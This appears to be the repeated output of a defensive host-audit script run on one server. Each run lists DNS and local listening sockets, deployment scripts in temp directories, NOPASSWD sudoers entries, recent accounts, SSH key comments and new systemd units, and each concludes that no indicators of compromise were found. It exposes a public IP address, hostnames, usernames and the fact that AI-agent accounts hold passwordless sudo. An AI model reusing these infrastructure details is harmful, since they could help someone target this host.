/etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D14_tasks.sh /tmp/pk.sh /tmp/d14_test.sh /tmp/d15_test.sh /tmp/WANESNI_D15_faucets.sh /var/tmp/WANESNI_D14_tasks.sh /var/tmp/pk.sh /var/tmp/d14_test.sh /var/tmp/d15_test.sh /var/tmp/WANESNI_D15_faucets.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D72_hero_copy.sh /tmp/WANESNI_D69_site_theme.sh /tmp/WANESNI_D71_hero_no_pk.sh /tmp/WANESNI_D67_new_logo.sh /tmp/WANESNI_D66_min_age_18.sh /tmp/WANESNI_D70_photos.sh /tmp/WANESNI_D68_site_redesign.sh /var/tmp/WANESNI_D72_hero_copy.sh /var/tmp/WANESNI_D69_site_theme.sh /var/tmp/WANESNI_D71_hero_no_pk.sh /var/tmp/WANESNI_D67_new_logo.sh /var/tmp/WANESNI_D66_min_age_18.sh /var/tmp/WANESNI_D70_photos.sh /var/tmp/WANESNI_D68_site_redesign.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D72_hero_copy.sh /tmp/WANESNI_D69_site_theme.sh /tmp/d73_deploy.sh /tmp/WANESNI_D71_hero_no_pk.sh /tmp/WANESNI_D67_new_logo.sh /tmp/WANESNI_D66_min_age_18.sh /tmp/WANESNI_D70_photos.sh /tmp/WANESNI_D68_site_redesign.sh /var/tmp/WANESNI_D72_hero_copy.sh /var/tmp/WANESNI_D69_site_theme.sh /var/tmp/d73_deploy.sh /var/tmp/WANESNI_D71_hero_no_pk.sh /var/tmp/WANESNI_D67_new_logo.sh /var/tmp/WANESNI_D66_min_age_18.sh /var/tmp/WANESNI_D70_photos.sh /var/tmp/WANESNI_D68_site_redesign.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D72_hero_copy.sh /tmp/WANESNI_D69_site_theme.sh /tmp/d73_deploy.sh /tmp/WANESNI_D71_hero_no_pk.sh /tmp/WANESNI_D67_new_logo.sh /tmp/WANESNI_D66_min_age_18.sh /tmp/WANESNI_D70_photos.sh /tmp/WANESNI_D68_site_redesign.sh /var/tmp/WANESNI_D72_hero_copy.sh /var/tmp/WANESNI_D69_site_theme.sh /var/tmp/d73_deploy.sh /var/tmp/WANESNI_D71_hero_no_pk.sh /var/tmp/WANESNI_D67_new_logo.sh /var/tmp/WANESNI_D66_min_age_18.sh /var/tmp/WANESNI_D70_photos.sh /var/tmp/WANESNI_D68_site_redesign.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 4 19:56 /etc/systemd/system/multi-user.target.wants/ea-php82-php-fpm.service Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=1131184,fd=369)) 172.17.0.1:53 users:(("named",pid=1131184,fd=368)) 172.17.0.1:53 users:(("named",pid=1131184,fd=367)) 172.17.0.1:53 users:(("named",pid=1131184,fd=360)) 172.17.0.1:53 users:(("named",pid=1131184,fd=366)) 172.17.0.1:53 users:(("named",pid=1131184,fd=365)) 172.17.0.1:53 users:(("named",pid=1131184,fd=364)) 172.17.0.1:53 users:(("named",pid=1131184,fd=363)) 172.17.0.1:53 users:(("named",pid=1131184,fd=362)) 172.17.0.1:53 users:(("named",pid=1131184,fd=359)) 172.17.0.1:53 users:(("named",pid=1131184,fd=361)) 172.17.0.1:53 users:(("named",pid=1131184,fd=358)) 203.161.35.98:53 users:(("named",pid=1131184,fd=225)) 203.161.35.98:53 users:(("named",pid=1131184,fd=224)) 203.161.35.98:53 users:(("named",pid=1131184,fd=223)) 203.161.35.98:53 users:(("named",pid=1131184,fd=222)) 203.161.35.98:53 users:(("named",pid=1131184,fd=221)) 203.161.35.98:53 users:(("named",pid=1131184,fd=220)) 203.161.35.98:53 users:(("named",pid=1131184,fd=219)) 203.161.35.98:53 users:(("named",pid=1131184,fd=218)) 203.161.35.98:53 users:(("named",pid=1131184,fd=216)) 203.161.35.98:53 users:(("named",pid=1131184,fd=217)) 203.161.35.98:53 users:(("named",pid=1131184,fd=215)) 203.161.35.98:53 users:(("named",pid=1131184,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D72_hero_copy.sh /tmp/WANESNI_D69_site_theme.sh /tmp/d73_deploy.sh /tmp/WANESNI_D71_hero_no_pk.sh /tmp/WANESNI_D67_new_logo.sh /tmp/WANESNI_D66_min_age_18.sh /tmp/WANESNI_D70_photos.sh /tmp/WANESNI_D68_site_redesign.sh /var/tmp/WANESNI_D72_hero_copy.sh /var/tmp/WANESNI_D69_site_theme.sh /var/tmp/d73_deploy.sh /var/tmp/WANESNI_D71_hero_no_pk.sh /var/tmp/WANESNI_D67_new_logo.sh /var/tmp/WANESNI_D66_min_age_18.sh /var/tmp/WANESNI_D70_photos.sh /var/tmp/WANESNI_D68_site_redesign.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 02:21 /etc/systemd/system/multi-user.target.wants/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service Aug 6 01:08 /etc/systemd/system/multi-user.target.wants/zram.service Aug 6 01:07 /etc/systemd/system/zram.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=1131184,fd=369)) 172.17.0.1:53 users:(("named",pid=1131184,fd=368)) 172.17.0.1:53 users:(("named",pid=1131184,fd=367)) 172.17.0.1:53 users:(("named",pid=1131184,fd=360)) 172.17.0.1:53 users:(("named",pid=1131184,fd=366)) 172.17.0.1:53 users:(("named",pid=1131184,fd=365)) 172.17.0.1:53 users:(("named",pid=1131184,fd=364)) 172.17.0.1:53 users:(("named",pid=1131184,fd=363)) 172.17.0.1:53 users:(("named",pid=1131184,fd=362)) 172.17.0.1:53 users:(("named",pid=1131184,fd=359)) 172.17.0.1:53 users:(("named",pid=1131184,fd=361)) 172.17.0.1:53 users:(("named",pid=1131184,fd=358)) 203.161.35.98:53 users:(("named",pid=1131184,fd=225)) 203.161.35.98:53 users:(("named",pid=1131184,fd=224)) 203.161.35.98:53 users:(("named",pid=1131184,fd=223)) 203.161.35.98:53 users:(("named",pid=1131184,fd=222)) 203.161.35.98:53 users:(("named",pid=1131184,fd=221)) 203.161.35.98:53 users:(("named",pid=1131184,fd=220)) 203.161.35.98:53 users:(("named",pid=1131184,fd=219)) 203.161.35.98:53 users:(("named",pid=1131184,fd=218)) 203.161.35.98:53 users:(("named",pid=1131184,fd=216)) 203.161.35.98:53 users:(("named",pid=1131184,fd=217)) 203.161.35.98:53 users:(("named",pid=1131184,fd=215)) 203.161.35.98:53 users:(("named",pid=1131184,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D72_hero_copy.sh /tmp/send_test_whatsapp.sh /tmp/WANESNI_D69_site_theme.sh /tmp/d73_deploy.sh /tmp/send_real_test.sh /tmp/WANESNI_D71_hero_no_pk.sh /tmp/WANESNI_D67_new_logo.sh /tmp/WANESNI_D66_min_age_18.sh /tmp/WANESNI_D70_photos.sh /tmp/WANESNI_D68_site_redesign.sh /var/tmp/WANESNI_D72_hero_copy.sh /var/tmp/send_test_whatsapp.sh /var/tmp/WANESNI_D69_site_theme.sh /var/tmp/d73_deploy.sh /var/tmp/send_real_test.sh /var/tmp/WANESNI_D71_hero_no_pk.sh /var/tmp/WANESNI_D67_new_logo.sh /var/tmp/WANESNI_D66_min_age_18.sh /var/tmp/WANESNI_D70_photos.sh /var/tmp/WANESNI_D68_site_redesign.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 02:21 /etc/systemd/system/multi-user.target.wants/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service Aug 6 01:08 /etc/systemd/system/multi-user.target.wants/zram.service Aug 6 01:07 /etc/systemd/system/zram.service ==== Network & processes ==== [*] listening sockets: 127.0.0.1:5432 users:(("postmaster",pid=1727,fd=7)) 127.0.0.1:5433 users:(("postmaster",pid=6248,fd=7)) 127.0.0.1:5679 users:(("node",pid=1582,fd=24)) 203.161.35.98:53 users:(("named",pid=6989,fd=225)) 203.161.35.98:53 users:(("named",pid=6989,fd=224)) 203.161.35.98:53 users:(("named",pid=6989,fd=223)) 203.161.35.98:53 users:(("named",pid=6989,fd=222)) 203.161.35.98:53 users:(("named",pid=6989,fd=221)) 203.161.35.98:53 users:(("named",pid=6989,fd=220)) 203.161.35.98:53 users:(("named",pid=6989,fd=219)) 203.161.35.98:53 users:(("named",pid=6989,fd=218)) 203.161.35.98:53 users:(("named",pid=6989,fd=217)) 203.161.35.98:53 users:(("named",pid=6989,fd=216)) 203.161.35.98:53 users:(("named",pid=6989,fd=215)) 203.161.35.98:53 users:(("named",pid=6989,fd=214)) 127.0.0.1:5010 users:(("registry",pid=10941,fd=6)) 127.0.0.1:8091 users:(("node",pid=19792,fd=18)) 127.0.0.1:7980 users:(("egress",pid=15204,fd=11)) 127.0.0.1:6399 users:(("redis-server",pid=11400,fd=6)) 127.0.0.1:6379 users:(("redis-server",pid=6233,fd=6)) 172.23.0.1:53 users:(("named",pid=6989,fd=633)) 172.23.0.1:53 users:(("named",pid=6989,fd=632)) 172.23.0.1:53 users:(("named",pid=6989,fd=631)) 172.23.0.1:53 users:(("named",pid=6989,fd=630)) 172.23.0.1:53 users:(("named",pid=6989,fd=629)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D72_hero_copy.sh /tmp/send_test_whatsapp.sh /tmp/WANESNI_D69_site_theme.sh /tmp/d73_deploy.sh /tmp/send_real_test.sh 